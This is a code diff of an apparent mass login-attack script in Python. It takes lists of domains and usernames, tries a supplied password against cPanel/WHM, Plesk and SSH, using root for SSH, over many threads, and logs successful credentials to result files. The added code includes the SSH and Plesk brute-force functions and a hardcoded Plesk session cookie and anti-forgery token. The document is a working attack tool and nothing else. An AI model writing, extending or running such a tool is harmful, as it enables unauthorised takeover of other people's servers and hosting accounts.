6
6
import urllib3
7
7
import concurrent .futures
8
8
from sys import stdout
9
+ import argparse
9
10
from bs4 import BeautifulSoup
10
11
from colorama import Fore , init
11
12
init (autoreset = True )
@@ -46,8 +47,6 @@ def banners():
46
47
def URLdomain (url ):
47
48
return url .split ('/' )[0 ]
48
49
49
-
50
-
51
50
def cw (url ):
52
51
p = [2083 , 2087 ]
53
52
headers = {
@@ -59,9 +58,7 @@ def cw(url):
59
58
60
59
for port in p :
61
60
uwp = f'https://{ url } :{ port } '
62
-
63
61
response = session .get (uwp , headers = headers , verify = False )
64
-
65
62
if response .status_code == 200 :
66
63
if port == 2083 :
67
64
print (f"{ FY } [cPanel/WHM] - { FG } [W00T!] - { FC } [cPanel Found!] - { FW } { uwp } " )
@@ -72,20 +69,14 @@ def cw(url):
72
69
with open ("Results/WHM.txt" , "a" ) as f :
73
70
f .write (f"[+] WHM: { uwp } \n " )
74
71
else :
75
- if port == 2083 :
76
- print (f"{ FY } [cPanel/WHM] - { FR } [Not Found!] - { FW } { uwp } " )
77
- elif port == 2087 :
78
- print (f"{ FY } [cPanel/WHM] - { FR } [Not Found!] - { FW } { uwp } " )
79
-
80
- except :
81
- pass
72
+ print (f"{ FY } [cPanel/WHM] - { FR } [Not Found!] - { FW } { uwp } " )
82
73
74
+ except Exception as e :
75
+ print (f"{ FY } [cPanel/WHM] - { FR } [Error!] - { FW } { uwp } - { FC } { str (e )} " )
83
76
84
-
85
- def c (url , username ):
77
+ def c (url , username , password ):
86
78
ports = [2082 , 2083 ]
87
79
ep = "/login/?login_only=1"
88
- password = "OUR PASSWORD"
89
80
90
81
for port in ports :
91
82
uwp = f'https://{ url } :{ port } { ep } '
@@ -118,35 +109,104 @@ def c(url, username):
118
109
except requests .exceptions .RequestException as e :
119
110
print (f"{ FY } [cPanel/WHM] - { FR } [Bad!] - { FW } https://{ url } :{ port } - { FC } { username } |{ password } " )
120
111
112
+ def ssh (url , username , password ):
113
+ port = 22
114
+ command = f"sshpass -p { password } ssh -o StrictHostKeyChecking=no { username } @{ url } -p { port } echo 'SSH connection established'"
115
+
116
+ try :
117
+ result = os .system (command )
118
+ if result == 0 :
119
+ print (f"{ FY } [SSH] - { FG } [Success!] - { FW } ssh://{ username } @{ url } :{ port } " )
120
+ with open ("Results/SSH.txt" , "a" ) as f :
121
+ f .write (f"[+] SSH: ssh://{ username } @{ url } :{ port } \n " )
122
+ else :
123
+ print (f"{ FY } [SSH] - { FR } [Failed!] - { FW } ssh://{ username } @{ url } :{ port } " )
124
+ except Exception as e :
125
+ print (f"{ FY } [SSH] - { FR } [Error!] - { FW } ssh://{ username } @{ url } :{ port } - { FC } { str (e )} " )
126
+
127
+ def plesk (url , username , password ):
128
+ cookies = {'plesk-ext-social-login-jwt-session' : 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwbGVzayIsImlhdCI6MTcyMDMzNTAyNywiZGF0YSI6eyJzdGF0ZS1nb29nbGUiOiIxbjJEaGhRRENJXC9wUEIyZ3ZGQkZueEJ2cmhORWl0d3dZeXBFd1hTOHxyZWRpcmVjdC1wbGVzaz1odHRwcyUzQSUyRiUyRnNlcnZlci5sb2dpc2Z5LmNvbSUzQTg0NDMlMkZtb2R1bGVzJTJGc29jaWFsLWxvZ2luJTJGcHVibGljJTJGbG9naW4ucGhwJTNGcHJvdmlkZXIlM0Rnb29nbGUlMjZzdWNjZXNzX3JlZGlyZWN0X3VybCUzRCUyNTJGIiwic3RhdGUtZ2l0aHViIjoiZ25vVGlBVU15OHR4eXM5aTdqaHNJT1FiMzhjS0VQODdIcWFOQTVIZ3xyZWRpcmVjdC1wbGVzaz1odHRwcyUzQSUyRiUyRnNlcnZlci5sb2dpc2Z5LmNvbSUzQTg0NDMlMkZtb2R1bGVzJTJGc29jaWFsLWxvZ2luJTJGcHVibGljJTJGbG9naW4ucGhwJTNGcHJvdmlkZXIlM0RnaXRodWIlMjZzdWNjZXNzX3JlZGlyZWN0X3VybCUzRCUyNTJGIiwic3RhdGUtZmFjZWJvb2siOiJIK1BMdG15Uk1kc0xMa1JlSVdWOXFIdzVzb1wvZWhqYlQ2d3ppdU9FVHxyZWRpcmVjdC1wbGVzaz1odHRwcyUzQSUyRiUyRnNlcnZlci5sb2dpc2Z5LmNvbSUzQTg0NDMlMkZtb2R1bGVzJTJGc29jaWFsLWxvZ2luJTJGcHVibGljJTJGbG9naW4ucGhwJTNGcHJvdmlkZXIlM0RmYWNlYm9vayUyNnN1Y2Nlc3NfcmVkaXJlY3RfdXJsJTNEJTI1MkYifX0.qt7oCvmG8Fsn_i6GTUCskbqnHfY0cdnvj9yVcEGGbrc' ,}
129
+
130
+ login_url = f"https://{ url } :8443/login_up.php"
131
+ headers = {
132
+ 'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' ,
133
+ 'Accept-Language' : 'en-US,en;q=0.9,ms;q=0.8' ,
134
+ 'Cache-Control' : 'max-age=0' ,
135
+ 'Connection' : 'keep-alive' ,
136
+ 'Content-Type' : 'application/x-www-form-urlencoded' ,
137
+ # 'Cookie': 'plesk-ext-social-login-jwt-session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwbGVzayIsImlhdCI6MTcyMDMzNTAyNywiZGF0YSI6eyJzdGF0ZS1nb29nbGUiOiIxbjJEaGhRRENJXC9wUEIyZ3ZGQkZueEJ2cmhORWl0d3dZeXBFd1hTOHxyZWRpcmVjdC1wbGVzaz1odHRwcyUzQSUyRiUyRnNlcnZlci5sb2dpc2Z5LmNvbSUzQTg0NDMlMkZtb2R1bGVzJTJGc29jaWFsLWxvZ2luJTJGcHVibGljJTJGbG9naW4ucGhwJTNGcHJvdmlkZXIlM0Rnb29nbGUlMjZzdWNjZXNzX3JlZGlyZWN0X3VybCUzRCUyNTJGIiwic3RhdGUtZ2l0aHViIjoiZ25vVGlBVU15OHR4eXM5aTdqaHNJT1FiMzhjS0VQODdIcWFOQTVIZ3xyZWRpcmVjdC1wbGVzaz1odHRwcyUzQSUyRiUyRnNlcnZlci5sb2dpc2Z5LmNvbSUzQTg0NDMlMkZtb2R1bGVzJTJGc29jaWFsLWxvZ2luJTJGcHVibGljJTJGbG9naW4ucGhwJTNGcHJvdmlkZXIlM0RnaXRodWIlMjZzdWNjZXNzX3JlZGlyZWN0X3VybCUzRCUyNTJGIiwic3RhdGUtZmFjZWJvb2siOiJIK1BMdG15Uk1kc0xMa1JlSVdWOXFIdzVzb1wvZWhqYlQ2d3ppdU9FVHxyZWRpcmVjdC1wbGVzaz1odHRwcyUzQSUyRiUyRnNlcnZlci5sb2dpc2Z5LmNvbSUzQTg0NDMlMkZtb2R1bGVzJTJGc29jaWFsLWxvZ2luJTJGcHVibGljJTJGbG9naW4ucGhwJTNGcHJvdmlkZXIlM0RmYWNlYm9vayUyNnN1Y2Nlc3NfcmVkaXJlY3RfdXJsJTNEJTI1MkYifX0.qt7oCvmG8Fsn_i6GTUCskbqnHfY0cdnvj9yVcEGGbrc',
138
+ 'Origin' : f'https://{ url } :8443' ,
139
+ 'Referer' : f'https://{ url } :8443/login_up.php?success_redirect_url=%2F' ,
140
+ 'Sec-Fetch-Dest' : 'document' ,
141
+ 'Sec-Fetch-Mode' : 'navigate' ,
142
+ 'Sec-Fetch-Site' : 'same-origin' ,
143
+ 'Sec-Fetch-User' : '?1' ,
144
+ 'Upgrade-Insecure-Requests' : '1' ,
145
+ 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36' ,
146
+ 'sec-ch-ua' : '"Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"' ,
147
+ 'sec-ch-ua-mobile' : '?0' ,
148
+ 'sec-ch-ua-platform' : '"Windows"' ,
149
+ }
150
+ params = {'success_redirect_url' : '/' ,}
151
+ data = {
152
+ 'login_name' : username ,
153
+ 'passwd' : password ,
154
+ 'locale_id' : 'default' ,
155
+ 'forgery_protection_token' : '2b5aaa294a3461d1b27c67909c495893' ,
156
+ 'success_redirect_url' : '/' ,
157
+ }
121
158
159
+ try :
160
+ response = requests .post (login_url , params = params , cookies = cookies , headers = headers , data = data )
161
+ response .raise_for_status ()
122
162
123
- def process_line (line , urls ):
163
+ if response .status_code == 200 :
164
+ print (f"{ FY } [Plesk] - { FG } [Success!] - { FW } { login_url } - { FC } { username } |{ password } " )
165
+ with open ("Results/Plesk.txt" , "a" ) as f :
166
+ f .write (f"[+] Plesk: { login_url } \n [+] Username: { username } \n [+] Password: { password } \n \n " )
167
+ else :
168
+ print (f"{ FY } [Plesk] - { FR } [Failed!] - { FW } { login_url } - { FC } { username } |{ password } " )
169
+
170
+ except requests .exceptions .RequestException as e :
171
+ print (f"{ FY } [Plesk] - { FR } [Error!] - { FW } { login_url } - { FC } { str (e )} " )
172
+
173
+ def process_line (line , urls , password ):
124
174
username = line .strip ()
125
175
for url in urls :
126
176
domain = URLdomain (url )
127
177
cw (domain )
128
- c (domain , username )
129
-
130
-
178
+ c (domain , username , password )
179
+ ssh ( domain , "root" , password )
180
+ plesk ( domain , username , password )
131
181
132
182
def main ():
133
- w00t = input (f"{ FY } DOMAIN/IP LIST: { FW } " )
134
- with open (w00t ) as f :
135
- urls = [line .strip () for line in f ]
136
- wordlist = input (f"{ FY } WORDLIST: { FW } " )
183
+ parser = argparse .ArgumentParser (description = 'Process some URLs and usernames.' )
184
+ parser .add_argument ('-f' , '--filename' , required = True , help = 'File containing URLs' )
185
+ parser .add_argument ('-u' , '--username' , required = True , help = 'Filename containing usernames in config folder' )
186
+ parser .add_argument ('-p' , '--password' , required = True , help = 'Filename containing password in config folder' )
187
+ parser .add_argument ('-t' , '--thread' , type = int , required = True , help = 'Number of threads to use' )
188
+ args = parser .parse_args ()
189
+
190
+ url_filename = args .filename
191
+ username_filepath = os .path .join ("config" , args .username )
192
+ password_filepath = os .path .join ("config" , args .password )
193
+ num_threads = args .thread
137
194
138
195
try :
139
- with open (f"lib/ { wordlist } " , "r" ) as file :
140
- lines = [line for line in file ]
196
+ with open (url_filename ) as f :
197
+ urls = [line . strip () for line in f ]
141
198
142
- hm = int (input (f"{ FY } THREAD: { FW } " ))
143
- with concurrent .futures .ThreadPoolExecutor (max_workers = hm ) as executor :
144
- executor .map (process_line , lines , [urls ] * len (lines ))
199
+ with open (username_filepath , "r" ) as file :
200
+ usernames = [line .strip () for line in file ]
145
201
146
- except FileNotFoundError :
147
- print ( f" { FR } Whut are you doin? { wordlist } Not Found!" )
202
+ with open ( password_filepath , "r" ) as file :
203
+ password = file . read (). strip ( )
148
204
205
+ with concurrent .futures .ThreadPoolExecutor (max_workers = num_threads ) as executor :
206
+ executor .map (process_line , usernames , [urls ] * len (usernames ), [password ] * len (usernames ))
149
207
208
+ except FileNotFoundError as e :
209
+ print (f"{ FR } File not found: { e .filename } " )
150
210
151
211
if __name__ == "__main__" :
152
- main ()
212
+ main ()
0 commit comments